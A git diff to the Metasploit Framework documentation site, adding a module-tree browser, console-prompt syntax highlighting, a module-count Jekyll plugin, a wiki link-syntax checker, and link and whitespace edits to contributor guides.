||||
bindToggleAll('.module-list [data-expand-all]', { open: true })
|
||||
bindToggleAll('.module-list [data-collapse-all]', { open: false })
|
||||
|
||||
// Bind listeners for collapsing module navigation items
|
||||
var moduleStructureElements = document.querySelectorAll('.module-structure');
|
||||
forEach(moduleStructureElements, function (moduleStructure) {
|
||||
jtd.addEvent(moduleStructure, 'click', function (e) {
|
||||
var originalTarget = e.target || e.srcElement || e.originalTarget;
|
||||
if (originalTarget.tagName !== 'A') { return; }
|
||||
|
||||
var parentListItem = originalTarget.closest('li');
|
||||
if (parentListItem.className.indexOf('folder') === -1) { return; }
|
||||
|
||||
toggleChildModuleList(parentListItem)
|
||||
e.preventDefault();
|
||||
});
|
||||
})
|
||||
|
||||
var toggleChildModuleList = function (parent) {
|
||||
var list = parent.querySelector('ul');
|
||||
if (!list) {
|
||||
return;
|
||||
}
|
||||
list.classList.toggle('open');
|
||||
// Recursively automatically open any nested lists of size 1
|
||||
if (list.children.length === 1) {
|
||||
toggleChildModuleList(list.children[0])
|
||||
}
|
||||
}
|
||||
});
|
||||
@@ -0,0 +1,74 @@
|
||||
require 'rouge'
|
||||
|
||||
# Custom highlighting support for Metasploit's prompt
|
||||
# https://rouge-ruby.github.io/docs/file.LexerDevelopment.html
|
||||
module Rouge
|
||||
# Custom tokens specific to Msf, as the inbuilt lexer tokens can't capture
|
||||
# the detail required for Msf's print_warning/print_good/etc calls.
|
||||
module Tokens
|
||||
def self.token(name, shortname, &b)
|
||||
tok = Token.make_token(name, shortname, &b)
|
||||
const_set(name, tok)
|
||||
end
|
||||
|
||||
# The 'shortname' is the class used when generating the HTML. It is intentionally
|
||||
# short to reduce HTML size.
|
||||
# https://github.com/rouge-ruby/rouge/blob/a4ed658d2778a3e2d3e68873f7221b91149a2ed4/lib/rouge/token.rb#L69
|
||||
SHORTNAME = 'z'
|
||||
|
||||
token :Msf, SHORTNAME do
|
||||
# prompt - msf / msf5 / msf6 / meterpreter
|
||||
token :Prompt, "#{SHORTNAME}p"
|
||||
# [-]
|
||||
token :Error, "#{SHORTNAME}e"
|
||||
# [+]
|
||||
token :Good, "#{SHORTNAME}g"
|
||||
# [*]
|
||||
token :Status, "#{SHORTNAME}s"
|
||||
# [!]
|
||||
token :Warning, "#{SHORTNAME}w"
|
||||
end
|
||||
end
|
||||
|
||||
module Lexers
|
||||
class MetasploitConsoleLanguage < Rouge::RegexLexer
|
||||
title 'msf'
|
||||
tag 'msf'
|
||||
desc 'Metasploit console highlighter'
|
||||
filenames []
|
||||
mimetypes []
|
||||
|
||||
def self.keywords
|
||||
@keywords ||= Set.new %w()
|
||||
end
|
||||
|
||||
state :whitespace do
|
||||
rule %r/\s+/, Text
|
||||
end
|
||||
|
||||
state :root do
|
||||
mixin :whitespace
|
||||
|
||||
# Match msf, msf5, msf6, meterpreter
|
||||
rule %r{^(msf\d?|meterpreter)}, Tokens::Msf::Prompt, :msf_prompt
|
||||
rule %r{^\[-\]}, Tokens::Msf::Error
|
||||
rule %r{^\[\+\]}, Tokens::Msf::Good
|
||||
rule %r{^\[\*\]}, Tokens::Msf::Status
|
||||
rule %r{^\[\!\]}, Tokens::Msf::Warning
|
||||
rule %r{.+}, Text
|
||||
end
|
||||
|
||||
# State for highlighting the prompt such as
|
||||
# msf6 auxiliary(admin/dcerpc/cve_2022_26923_certifried) >
|
||||
state :msf_prompt do
|
||||
mixin :whitespace
|
||||
|
||||
rule %r{exploit|payload|auxiliary|encoder|evasion|post|nop}, Text
|
||||
rule %r{\(}, Punctuation
|
||||
rule %r{\)}, Punctuation
|
||||
rule %r{[\w/]+}, Keyword::Constant
|
||||
rule %r{>}, Punctuation, :pop!
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,159 @@
|
||||
require 'jekyll'
|
||||
require 'json'
|
||||
require 'pathname'
|
||||
|
||||
#
|
||||
# Helper class for extracting information related to Metasploit framework's stats
|
||||
#
|
||||
class MetasploitStats
|
||||
def total_module_count
|
||||
modules.length
|
||||
end
|
||||
|
||||
# @return [Hash<String, Integer>] A map of module type to the amount of modules
|
||||
def module_counts
|
||||
module_counts_by_type = modules.group_by { |mod| mod['type'].to_s }.transform_values { |mods| mods.count }.sort_by(&:first).to_h
|
||||
module_counts_by_type
|
||||
end
|
||||
|
||||
# @return [Array<Hash<String, Hash>>] A nested array of module metadata, containing at least the keys :name, :total, :children
|
||||
def nested_module_counts
|
||||
create_nested_module_counts(modules)
|
||||
end
|
||||
|
||||
protected
|
||||
|
||||
# @param [Array<Hash>] modules
|
||||
# @param [String] parent_path The parent path to track the nesting depth when called recursively
|
||||
# i.e. auxiliary, then auxiliary/admin, then auxiliary/admin/foo, etc
|
||||
def create_nested_module_counts(modules, parent_path = '')
|
||||
# Group the modules by their prefix, i.e. auxiliary/payload/encoder/etc
|
||||
top_level_buckets = modules.select { |mod| mod['fullname'].start_with?(parent_path) }.group_by do |mod|
|
||||
remaining_paths = mod['fullname'].gsub(parent_path.empty? ? '' : %r{^#{parent_path}/}, '').split('/')
|
||||
remaining_paths[0]
|
||||
end.sort.to_h
|
||||
|
||||
top_level_buckets.map do |(prefix, children)|
|
||||
current_path = parent_path.empty? ? prefix : "#{parent_path}/#{prefix}"
|
||||
mod = modules_by_fullname[current_path]
|
||||
{
|
||||
name: prefix,
|
||||
total: children.count,
|
||||
module_fullname: mod ? mod['fullname'] : nil,
|
||||
module_path: mod ? mod['path'] : nil,
|
||||
children: mod.nil? ? create_nested_module_counts(children, current_path) : []
|
||||
}
|
||||
end
|
||||
end
|
||||
|
||||
# @return [Array<Hash>] An array of Hashes containing each Metasploit module's metadata
|
||||
def modules
|
||||
return @modules if @modules
|
||||
|
||||
module_metadata_path = '../db/modules_metadata_base.json'
|
||||
unless File.exist?(module_metadata_path)
|
||||
raise "Unable to find Metasploit module data, expected it to be at #{module_metadata_path}"
|
||||
end
|
||||
|
||||
@modules = JSON.parse(File.binread(module_metadata_path)).values
|
||||
@modules
|
||||
end
|
||||
|
||||
# @return [Hash<String, Hash>] A mapping of module name to Metasploit module metadata
|
||||
def modules_by_fullname
|
||||
@modules_by_fullname ||= @modules.each_with_object({}) do |mod, hash|
|
||||
fullname = mod['fullname']
|
||||
hash[fullname] = mod
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# Custom liquid filter implementation for visualizing nested Metasploit module metadata
|
||||
#
|
||||
# Intended usage:
|
||||
# {{ site.metasploit_nested_module_counts | module_tree }}
|
||||
module ModuleFilter
|
||||
# @param [Array<Hash>] modules The array of Metasploit cache information
|
||||
# @return [String] The module tree HTML representation of the given modules
|
||||
def module_tree(modules, title = 'Modules', show_controls = false)
|
||||
rendered_children = render_modules(modules)
|
||||
controls = <<~EOF
|
||||
<div class="module-controls">
|
||||
<span><a href="#" data-expand-all>Expand All</a></span>
|
||||
<span><a href="#" data-collapse-all>Collapse All</a></span>
|
||||
</div>
|
||||
EOF
|
||||
|
||||
<<~EOF
|
||||
<div class="module-list">
|
||||
#{show_controls ? controls : ''}
|
||||
|
||||
<ul class="module-structure">
|
||||
<li class="folder"><a href=\"#\"><div class=\"target\">#{title}</div></a>
|
||||
<ul class="open">
|
||||
#{rendered_children}
|
||||
</ul>
|
||||
</li>
|
||||
</ul>
|
||||
</div>
|
||||
EOF
|
||||
end
|
||||
|
||||
module_function
|
||||
|
||||
# @param [Array<Hash>] modules The array of Metasploit cache information
|
||||
# @return [String] The rendered tree HTML representation of the given modules
|
||||
def render_modules(modules)
|
||||
modules.map do |mod|
|
||||
classes = render_child_modules?(mod) ? ' class="folder"' : ''
|
||||
result = "<li#{classes}>#{heading_for_mod(mod)}"
|
||||
if render_child_modules?(mod)
|
||||
result += "\n<ul>#{render_modules(mod[:children].sort_by { |mod| "#{render_child_modules?(mod) ? 0 : 1}-#{mod[:name]}" })}</ul>\n"
|
||||
end
|
||||
result += "</li>"
|
||||
result
|
||||
end.join("\n")
|
||||
end
|
||||
|
||||
# @param [Hash] mod The module metadata object
|
||||
# @return [String] Human readable string for a module list such as `- <a>Auxiliary (1234)</a>` or `- Other (50)`
|
||||
def heading_for_mod(mod)
|
||||
if render_child_modules?(mod)
|
||||
"<a href=\"#\"><div class=\"target\">#{mod[:name]} (#{mod[:total]})</div></a>"
|
||||
else
|
||||
config = Jekyll.sites.first.config
|
||||
# Preference linking to module documentation over the module implementation
|
||||
module_docs_path = Pathname.new("documentation").join(mod[:module_path].gsub(/^\//, '')).sub_ext(".md")
|
||||
link_path = File.exist?(File.join('..', module_docs_path)) ? "/#{module_docs_path}" : mod[:module_path]
|
||||
docs_link = "#{config['gh_edit_repository']}/#{config['gh_edit_view_mode']}/#{config['gh_edit_branch']}#{link_path}"
|
||||
"<a href=\"#{docs_link}\" target=\"_blank\"><div class=\"target\">#{mod[:module_fullname]}</div></a>"
|
||||
end
|
||||
end
|
||||
|
||||
# @param [Hash] mod The module metadata object
|
||||
# @return [TrueClass, FalseClass]
|
||||
def render_child_modules?(mod)
|
||||
mod[:children].length >= 1 && mod[:module_path].nil?
|
||||
end
|
||||
end
|
||||
|
||||
# Register the Liquid filter so any Jekyll page can render module information
|
||||
Liquid::Template.register_filter(ModuleFilter)
|
||||
|
||||
# Register the site initialization hook to populate global site information so any Jekyll page can access Metasploit stats information
|
||||
Jekyll::Hooks.register :site, :after_init do |site|
|
||||
begin
|
||||
Jekyll.logger.info 'Calculating module stats'
|
||||
|
||||
metasploit_stats = MetasploitStats.new
|
||||
|
||||
site.config['metasploit_total_module_count'] = metasploit_stats.total_module_count
|
||||
site.config['metasploit_module_counts'] = metasploit_stats.module_counts
|
||||
site.config['metasploit_nested_module_counts'] = metasploit_stats.nested_module_counts
|
||||
|
||||
Jekyll.logger.info 'Finished calculating module stats'
|
||||
rescue
|
||||
Jekyll.logger.error "Unable to to extractMetasploit stats"
|
||||
raise
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,133 @@
|
||||
---
|
||||
---
|
||||
|
||||
#main-content p {
|
||||
text-align: justify;
|
||||
}
|
||||
|
||||
/* Color highlighting for msf console text */
|
||||
.language-mermaid .label {
|
||||
text-transform: inherit;
|
||||
}
|
||||
|
||||
.language-msf .zp {
|
||||
text-decoration: underline;
|
||||
}
|
||||
|
||||
.language-msf .ze {
|
||||
color: #960050;
|
||||
}
|
||||
|
||||
.language-msf .zg {
|
||||
color: #859900;
|
||||
}
|
||||
|
||||
.language-msf .zs {
|
||||
color: #268bd2;
|
||||
}
|
||||
|
||||
.language-msf .zw {
|
||||
color: orange;
|
||||
}
|
||||
|
||||
/* Module overview styles */
|
||||
|
||||
.module-structure li::before {
|
||||
content: ' ' !important;
|
||||
}
|
||||
|
||||
.module-structure a {
|
||||
height: 100%;
|
||||
padding: 0.2rem;
|
||||
background-image: none;
|
||||
overflow: initial;
|
||||
display: inline-block;
|
||||
width: 90%;
|
||||
}
|
||||
|
||||
.module-controls {
|
||||
line-height: 0;
|
||||
border-bottom: 1px solid #ddd;
|
||||
}
|
||||
|
||||
.module-controls a {
|
||||
line-height: 1;
|
||||
padding: 0.5rem;
|
||||
display: inline-block;
|
||||
}
|
||||
|
||||
.module-controls span {
|
||||
display: inline-block;
|
||||
}
|
||||
|
||||
.module-structure a, .module-structure a:hover {
|
||||
background-image: none;
|
||||
}
|
||||
|
||||
.module-structure a .target {
|
||||
pointer-events: none;
|
||||
display: inline-block;
|
||||
text-decoration: none;
|
||||
}
|
||||
|
||||
.module-structure a:hover .target {
|
||||
background-image: linear-gradient(rgba(114, 83, 237, 0.45) 0%, rgba(114, 83, 237, 0.45) 100%);
|
||||
background-repeat: repeat-x;
|
||||
background-position: 0 100%;
|
||||
background-size: 1px 1px;
|
||||
}
|
||||
|
||||
.module-structure {
|
||||
line-height: 2rem;
|
||||
}
|
||||
|
||||
/* visual indentation lines */
|
||||
.module-structure ul {
|
||||
margin-left: 7px !important;
|
||||
padding-left: 20px !important;
|
||||
border-left: 1px dashed #d1d7de;
|
||||
}
|
||||
|
||||
/* Never allow the top-most files/folders to be collapsed */
|
||||
.module-structure > li.folder > ul {
|
||||
display: block;
|
||||
}
|
||||
|
||||
.module-structure li p {
|
||||
margin: 0;
|
||||
}
|
||||
|
||||
.module-structure li {
|
||||
margin: 0;
|
||||
list-style: none;
|
||||
}
|
||||
|
||||
.module-structure ul {
|
||||
display: none;
|
||||
margin: 0;
|
||||
}
|
||||
|
||||
.module-structure ul.open {
|
||||
display: block;
|
||||
}
|
||||
|
||||
/* Default li style - files */
|
||||
.module-structure li::before {
|
||||
background-image: url("data:image/svg+xml;utf8,<svg xmlns='http://www.w3.org/2000/svg' fill='%234158bf' viewBox='0 0 512 512'><path d='M320 464c8.8 0 16-7.2 16-16V160H256c-17.7 0-32-14.3-32-32V48H64c-8.8 0-16 7.2-16 16V448c0 8.8 7.2 16 16 16H320zM0 64C0 28.7 28.7 0 64 0H229.5c17 0 33.3 6.7 45.3 18.7l90.5 90.5c12 12 18.7 28.3 18.7 45.3V448c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V64z'/></svg>");
|
||||
background-repeat: no-repeat;
|
||||
width: 1rem;
|
||||
height: 1rem;
|
||||
background-position: center top;
|
||||
background-size: 90% auto;
|
||||
margin-top: 0;
|
||||
vertical-align: middle;
|
||||
margin-left: initial !important;
|
||||
margin-right: 0.5rem !important;
|
||||
display: inline-block !important;
|
||||
position: initial !important;
|
||||
}
|
||||
|
||||
/* li style - folders */
|
||||
.module-structure li.folder::before {
|
||||
background-image: url("data:image/svg+xml;utf8,<svg xmlns='http://www.w3.org/2000/svg' fill='%234158bf' viewBox='0 0 512 512'><path d='M64 480H448c35.3 0 64-28.7 64-64V160c0-35.3-28.7-64-64-64H288c-10.1 0-19.6-4.7-25.6-12.8L243.2 57.6C231.1 41.5 212.1 32 192 32H64C28.7 32 0 60.7 0 96V416c0 35.3 28.7 64 64 64z'/></svg>");
|
||||
}
|
||||
+81
-2
@@ -3,13 +3,14 @@ require 'uri'
|
||||
require 'open3'
|
||||
require 'optparse'
|
||||
require 'did_you_mean'
|
||||
require 'kramdown'
|
||||
require_relative './navigation'
|
||||
|
||||
# This build module was used to migrate the old Metasploit wiki https://github.com/rapid7/metasploit-framework/wiki into a format
|
||||
# supported by Jekyll. Jekyll was chosen as it was written in Ruby, which should reduce the barrier to entry for contributions.
|
||||
#
|
||||
# The build script took the flatlist of markdown files from the wiki, and converted them into the hierarchical folder structure
|
||||
# for nested documentation. This configuration is defiend in `navigation.rb`
|
||||
# for nested documentation. This configuration is defined in `navigation.rb`
|
||||
#
|
||||
# In the future a different site generator could be used, but it should be possible to use this build script again to migrate to a new format
|
||||
#
|
||||
@@ -158,6 +159,10 @@ module Build
|
||||
@links = {}
|
||||
end
|
||||
|
||||
def syntax_errors_for(markdown)
|
||||
MarkdownLinkSyntaxVerifier.errors_for(markdown)
|
||||
end
|
||||
|
||||
def extract(markdown)
|
||||
extracted_absolute_wiki_links = extract_absolute_wiki_links(markdown)
|
||||
@links = @links.merge(extracted_absolute_wiki_links)
|
||||
@@ -187,7 +192,7 @@ module Build
|
||||
@config.enum_for(:each).map { |page| page }
|
||||
end
|
||||
|
||||
# scans for absolute links to the old wiki such as 'https://github.com/rapid7/metasploit-framework/wiki/Metasploit-Web-Service'
|
||||
# scans for absolute links to the old wiki such as 'https://docs.metasploit.com/docs/using-metasploit/advanced/metasploit-web-service.html'
|
||||
def extract_absolute_wiki_links(markdown)
|
||||
new_links = {}
|
||||
|
||||
@@ -367,6 +372,68 @@ module Build
|
||||
end
|
||||
end
|
||||
|
||||
# Verifies that markdown links are not relative. Instead the Github wiki flavored syntax should be used.
|
||||
#
|
||||
# Example bad: `[Human readable text](./some-documentation-link)`
|
||||
# Example good: `[[Human readable text|./some-documentation-link]]`
|
||||
class MarkdownLinkSyntaxVerifier
|
||||
# Detects the usage of bad syntax and returns an array of detected errors
|
||||
#
|
||||
# @param [String] markdown The markdown
|
||||
# @return [Array<String>] An array of human readable errors that should be resolved
|
||||
def self.errors_for(markdown)
|
||||
document = Kramdown::Document.new(markdown)
|
||||
document.to_validated_wiki_page
|
||||
warnings = document.warnings.select { |warning| warning.start_with?(Kramdown::Converter::ValidatedWikiPage::WARNING_PREFIX) }
|
||||
warnings
|
||||
end
|
||||
|
||||
# Implementation detail: There doesn't seem to be a generic AST visitor pattern library for Ruby; We instead implement
|
||||
# Kramdown's Markdown to HTML Converter API, override the link converter method, and warn on any invalid links that are identified.
|
||||
# The {MarkdownLinkVerifier} will ignore the HTML result, and return any detected errors instead.
|
||||
#
|
||||
# https://kramdown.gettalong.org/rdoc/Kramdown/Converter/Html.html
|
||||
class Kramdown::Converter::ValidatedWikiPage < Kramdown::Converter::Html
|
||||
WARNING_PREFIX = '[WikiLinkValidation]'
|
||||
|
||||
def convert_a(el, indent)
|
||||
link_href = el.attr['href']
|
||||
if relative_link?(link_href)
|
||||
link_text = el.children.map { |child| convert(child) }.join
|
||||
warning "Invalid docs link syntax found on line #{el.options[:location]}: Invalid relative link #{link_href} found. Please use the syntax [[#{link_text}|#{link_href}]] instead"
|
||||
end
|
||||
|
||||
if absolute_docs_link?(link_href)
|
||||
begin
|
||||
example_path = ".#{URI.parse(link_href).path}"
|
||||
rescue URI::InvalidURIError
|
||||
example_path = "./path-to-markdown-file"
|
||||
end
|
||||
|
||||
link_text = el.children.map { |child| convert(child) }.join
|
||||
warning "Invalid docs link syntax found on line #{el.options[:location]}: Invalid absolute link #{link_href} found. Please use relative links instead, i.e. [[#{link_text}|#{example_path}]] instead"
|
||||
end
|
||||
|
||||
super
|
||||
end
|
||||
|
||||
private
|
||||
|
||||
def warning(text)
|
||||
super "#{WARNING_PREFIX} #{text}"
|
||||
end
|
||||
|
||||
def relative_link?(link_path)
|
||||
!(link_path.start_with?('http:') || link_path.start_with?('https:') || link_path.start_with?('mailto:') || link_path.start_with?('#'))
|
||||
end
|
||||
|
||||
# @return [TrueClass, FalseClass] True if the link is to a Metasploit docs page that isn't either the root home page or the API site, otherwise false
|
||||
def absolute_docs_link?(link_path)
|
||||
link_path.include?('docs.metasploit.com') && !link_path.include?('docs.metasploit.com/api') && !(link_path == 'https://docs.metasploit.com/')
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# Parses a wiki page and can add/remove/update a deprecation notice
|
||||
class WikiDeprecationText
|
||||
MAINTAINER_MESSAGE_PREFIX = "<!-- Maintainers: "
|
||||
@@ -461,13 +528,25 @@ module Build
|
||||
|
||||
def link_corrector_for(config)
|
||||
link_corrector = LinkCorrector.new(config)
|
||||
errors = []
|
||||
config.each do |page|
|
||||
unless page[:path].nil?
|
||||
content = File.read(File.join(WIKI_PATH, page[:path]), encoding: Encoding::UTF_8)
|
||||
syntax_errors = link_corrector.syntax_errors_for(content)
|
||||
errors << { path: page[:path], messages: syntax_errors } if syntax_errors.any?
|
||||
|
||||
link_corrector.extract(content)
|
||||
end
|
||||
end
|
||||
|
||||
if errors.any?
|
||||
errors.each do |error|
|
||||
$stderr.puts "[!] Error #{File.join(WIKI_PATH, error[:path])}:\n#{error[:messages].map { |message| "\t- #{message}\n" }.join}"
|
||||
end
|
||||
|
||||
raise "Errors found in markdown syntax"
|
||||
end
|
||||
|
||||
link_corrector
|
||||
end
|
||||
end
|
||||
|
||||
@@ -1,3 +1,3 @@
|
||||
View the latest API docs at:
|
||||
|
||||
[https://rapid7.github.io/metasploit-framework/api/](https://rapid7.github.io/metasploit-framework/api/)
|
||||
[https://docs.metasploit.com/api/](https://docs.metasploit.com/api/)
|
||||
@@ -1,12 +1,10 @@
|
||||
This page lists the keys in use by [Metasploit committers][msf-committers] and
|
||||
This page lists the keys in use by [[Metasploit committers|committer-rights]] and
|
||||
can be used to verify merge commits made to <https://github.com/rapid7/metasploit-framework>.
|
||||
|
||||
# Keybase.io identities
|
||||
|
||||
Keybase.io is used by Metasploit as an easy way to verify identities of committers. If you're a committer on metasploit-framework, and you need an invite, just ask.
|
||||
|
||||
<sup>Altering this table's layout will almost certainly break [import-dev-keys.sh](https://github.com/rapid7/metasploit-framework/blob/master/tools/dev/import-dev-keys.sh), so please don't.</sup>
|
||||
|
||||
| Github Username | Keybase.io Username |
|
||||
| ------------------------------------------------- | -------------------------------------------------- |
|
||||
| [@adfoster-r7](https://github.com/adfoster-r7) | [adfosterr7](https://keybase.io/adfosterr7) |
|
||||
@@ -78,7 +76,7 @@ Please select what kind of key you want:
|
||||
(4) RSA (sign only)
|
||||
Your selection? 4
|
||||
RSA keys may be between 1024 and 4096 bits long.
|
||||
What keysize do you want? (2048)
|
||||
What keysize do you want? (2048)
|
||||
Requested keysize is 2048 bits
|
||||
Please specify how long the key should be valid.
|
||||
0 = key does not expire
|
||||
@@ -96,7 +94,7 @@ from the Real Name, Comment and Email Address in this form:
|
||||
|
||||
Real name: Dade Murphy
|
||||
Email address: dmurphy@thegibson.example
|
||||
Comment:
|
||||
Comment:
|
||||
You selected this USER-ID:
|
||||
"Dade Murphy <dmurphy@thegibson.example>"
|
||||
|
||||
@@ -120,7 +118,6 @@ Enter passphrase: [...]
|
||||
|
||||
Using `git c` and `git m` from now on will sign every commit with your `DEADBEEF` key. However, note that rebasing or cherry-picking commits will change the commit hash, and therefore, unsign the commit -- to resign the most recent, use `git c --amend`.
|
||||
|
||||
[msf-committers]:https://github.com/rapid7/metasploit-framework/wiki/Committer-Rights
|
||||
[pro-sharing]:https://filippo.io/on-keybase-dot-io-and-encrypted-private-key-sharing/
|
||||
[con-sharing]:https://www.tbray.org/ongoing/When/201x/2014/03/19/Keybase#p-5
|
||||
[tracking]:https://github.com/keybase/keybase-issues/issues/100
|
||||
|
||||
@@ -2,7 +2,7 @@
|
||||
|
||||
The term "Metasploit Committers" describes people who have direct write access to the [Rapid7 Metasploit-Framework fork](https://github.com/rapid7/metasploit-framework). These are the people who can land changes to this main fork of the Framework. However, it is not necessary to have committer rights in order to contribute to Metasploit. Much of our code comes from non-committers.
|
||||
|
||||
We encourage anyone to fork the Metasploit project, make changes, fix bugs, and notify the core committers about those changes via [Pull Requests](http://github.com/rapid7/metasploit-framework/pulls). The process for getting started is most comprehensively documented in the [Metasploit Development Environment](https://github.com/rapid7/metasploit-framework/wiki/Setting-Up-a-Metasploit-Development-Environment) setup guide.
|
||||
We encourage anyone to fork the Metasploit project, make changes, fix bugs, and notify the core committers about those changes via [Pull Requests](http://github.com/rapid7/metasploit-framework/pulls). The process for getting started is most comprehensively documented in the [[Metasploit Development Environment|./dev/Setting-Up-a-Metasploit-Development-Environment.md]] setup guide.
|
||||
|
||||
Metasploit committers are a mix of [Rapid7](http://rapid7.com) employees and outside contributors. Anyone can become a contributor, with the following expectations:
|
||||
|
||||
@@ -24,7 +24,7 @@ If you reject a pull request, be clear in the pull request why it was rejected,
|
||||
|
||||
Even if someone else approves of a pull request, and it is shown to be broken later, then it is still your responsibility to correct it. Make every effort to get a fix or revert in as soon as possible, whether you wrote the code, landed it, or approved it. Blame is shared equally.
|
||||
|
||||
A list of committer public keys [is here](https://github.com/rapid7/metasploit-framework/wiki/Committer-Keys).
|
||||
A list of committer public keys [[is here|./Committer-Keys.md]].
|
||||
|
||||
# How to Gain Commit Rights
|
||||
|
||||
@@ -45,7 +45,7 @@ Breaches of trust in terms of malicious or malformed code, or the demonstration
|
||||
|
||||
# Useful Links for Committers
|
||||
|
||||
* [http://r-7.co/MSF-DEV](https://github.com/rapid7/metasploit-framework/wiki/Setting-Up-a-Metasploit-Development-Environment) is pretty much required reading.
|
||||
* [[Setting Up a Metasploit Development Environment|./dev/Setting-Up-a-Metasploit-Development-Environment.md]] is pretty much required reading.
|
||||
* So is [CONTRIBUTING.md](https://github.com/rapid7/metasploit-framework/blob/master/CONTRIBUTING.md)
|
||||
* Check out the Apache Software Foundation's [Guide for Committers](https://www.apache.org/dev/committers). It's illuminating.
|
||||
* [Producing Open Source Software](http://www.producingoss.com/gl/) by Ken Fogel is a must-read.
|
||||
|
||||
@@ -358,7 +358,6 @@ Pulling it all together, we get a new `ftp_login` module that looks something li
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'metasploit/framework/credential_collection'
|
||||
require 'metasploit/framework/login_scanner/ftp'
|
||||
|
||||
@@ -472,4 +471,4 @@ class Metasploit3 < Msf::Auxiliary
|
||||
end
|
||||
end
|
||||
end
|
||||
```
|
||||
```
|
||||
|
||||
@@ -6,13 +6,13 @@ whilst also avoiding some common pitfalls and learning how some of our systems w
|
||||
|
||||
## Initial Steps and Important Notes
|
||||
The rest of this guide assumes you have already followed the steps at [Setting Up A Developer Environment](https://r-7.co/MSF-DEV) in order to get
|
||||
a fork of Metasploit set up and ready to run, and that you have added in your SSH keys
|
||||
(see [Adding a New SSH Key To Your GitHub Account](https://docs.github.com/en/authentication/connecting-to-github-with-ssh/adding-a-new-ssh-key-to-your-github-account)),
|
||||
a fork of Metasploit set up and ready to run, and that you have added in your SSH keys
|
||||
(see [Adding a New SSH Key To Your GitHub Account](https://docs.github.com/en/authentication/connecting-to-github-with-ssh/adding-a-new-ssh-key-to-your-github-account)),
|
||||
set up Ruby and optionally the PostgreSQL database, and done any custom shortcuts you wish to configure.
|
||||
|
||||
## Getting the Latest Version of Metasploit Framework
|
||||
Before making any new contributions, you will want to sure you are running the latest version of Metasploit Framework.
|
||||
To do this run `git checkout master && git fetch upstream && git pull`, where `upstream` is the branch connected to the
|
||||
To do this run `git checkout master && git fetch upstream && git pull`, where `upstream` is the branch connected to the
|
||||
Rapid7 remote, aka Rapid7's copy of the code. You can verify that `upstream` is set correctly by running `git remote get-url upstream`
|
||||
and verifying it is set to `git@github.com:rapid7/metasploit-framework.git`.
|
||||
|
||||
@@ -51,13 +51,13 @@ done when the code is ready to be landed into Metasploit Framework to help make
|
||||
|
||||
## Checking for Code Errors
|
||||
Before code can be accepted into Metasploit Framework, it must also pass our RuboCop and MsfTidy rules. These help ensure that
|
||||
all contributors are committing code that follows a common set of standards. To check if your code meets our RuboCop standards,
|
||||
all contributors are committing code that follows a common set of standards. To check if your code meets our RuboCop standards,
|
||||
from the root of wherever you cloned your fork of Metasploit Framework to on disk, run `rubocop <path to your module from current directory>`.
|
||||
|
||||
Specifying the `-a` parameter will ask RuboCop to check your module and if possible fix any issues that RuboCop is able to fix.
|
||||
In this case the command would be `rubocop -a <path to your module from current directory>`. It is encouraged to keep running
|
||||
this command and fixing any issues that come up until RuboCop no longer comes back with any errors to report. Once this is
|
||||
complete, run `git add <file>` followed by `git commit -m "RuboCop Fixes"`. You can change the commit message if you
|
||||
In this case the command would be `rubocop -a <path to your module from current directory>`. It is encouraged to keep running
|
||||
this command and fixing any issues that come up until RuboCop no longer comes back with any errors to report. Once this is
|
||||
complete, run `git add <file>` followed by `git commit -m "RuboCop Fixes"`. You can change the commit message if you
|
||||
want, but it should mention RuboCop as it helps maintainers know what the commit is related to.
|
||||
|
||||
As a good practice rule, you should always separate your commits that contain RuboCop changes from those that contain non-RuboCop related changes.
|
||||
@@ -71,8 +71,8 @@ against your module code (if applicable), using `tools/dev/msftidy.rb <path to m
|
||||
if your module passed the tests. Try and fix any errors mentioned here.
|
||||
|
||||
## Writing Documentation
|
||||
The next step to do, if you are writing a module, is to write the documentation for the module. You can find some information
|
||||
on how to write module documentation at [Writing Module Documentation](https://docs.metasploit.com/docs/development/quality/writing-module-documentation.html).
|
||||
The next step to do, if you are writing a module, is to write the documentation for the module. You can find some information
|
||||
on how to write module documentation at [[Writing Module Documentation|./Writing-Module-Documentation.md]].
|
||||
|
||||
In general when writing documentation you will want to search for a similar documentation file under the `documentation`
|
||||
folder located in the root of the Metasploit fork. You can then copy one of these files and use it as the basis for writing
|
||||
@@ -91,15 +91,15 @@ these may be okay to ignore depending on the context. A good example is if a lin
|
||||
safely ignored.
|
||||
|
||||
## Submitting Your Changes and Opening a PR
|
||||
Once you have gone through all of the steps above you should be ready to submit your PR. To submit your PR, first check which
|
||||
branch points to your copy of the code. If you have followed the setup guide, it should be `origin`. You can double check this
|
||||
Once you have gone through all of the steps above you should be ready to submit your PR. To submit your PR, first check which
|
||||
branch points to your copy of the code. If you have followed the setup guide, it should be `origin`. You can double check this
|
||||
branch's remote URL using `git remote get-url origin`. It should look something like `git@github.com:gwillcox-r7/metasploit-framework`
|
||||
with `gwillcox-r7` substituted for your username.
|
||||
|
||||
Assuming the `origin` branch is in fact pointing to your copy of the code, run `git push origin local-branch:remote-branch`
|
||||
and replace `local-branch` with the branch locally where your code changes are located, and `remote-branch` with what
|
||||
you want this branch to be called on the remote repository, aka `origin` which will be your fork on GitHub.com. In most
|
||||
cases you will want these two names to be the same to avoid confusion, but its good to know this syntax should you
|
||||
Assuming the `origin` branch is in fact pointing to your copy of the code, run `git push origin local-branch:remote-branch`
|
||||
and replace `local-branch` with the branch locally where your code changes are located, and `remote-branch` with what
|
||||
you want this branch to be called on the remote repository, aka `origin` which will be your fork on GitHub.com. In most
|
||||
cases you will want these two names to be the same to avoid confusion, but its good to know this syntax should you
|
||||
start working with more complex situations. Note that if the branch pointing to your copy of the code is not named `origin`,
|
||||
replace the word `origin` in the command above with the name of the branch that does point to your copy of the code.
|
||||
|
||||
@@ -114,10 +114,10 @@ Compressing objects: 100% (8/8), done.
|
||||
Writing objects: 100% (8/8), 1.55 KiB | 1.55 MiB/s, done.
|
||||
Total 8 (delta 7), reused 0 (delta 0), pack-reused 0
|
||||
remote: Resolving deltas: 100% (7/7), completed with 7 local objects.
|
||||
remote:
|
||||
remote:
|
||||
remote: Create a pull request for 'update_mssql_lib_parameters' on GitHub by visiting:
|
||||
remote: https://github.com/gwillcox-r7/metasploit-framework/pull/new/update_mssql_lib_parameters
|
||||
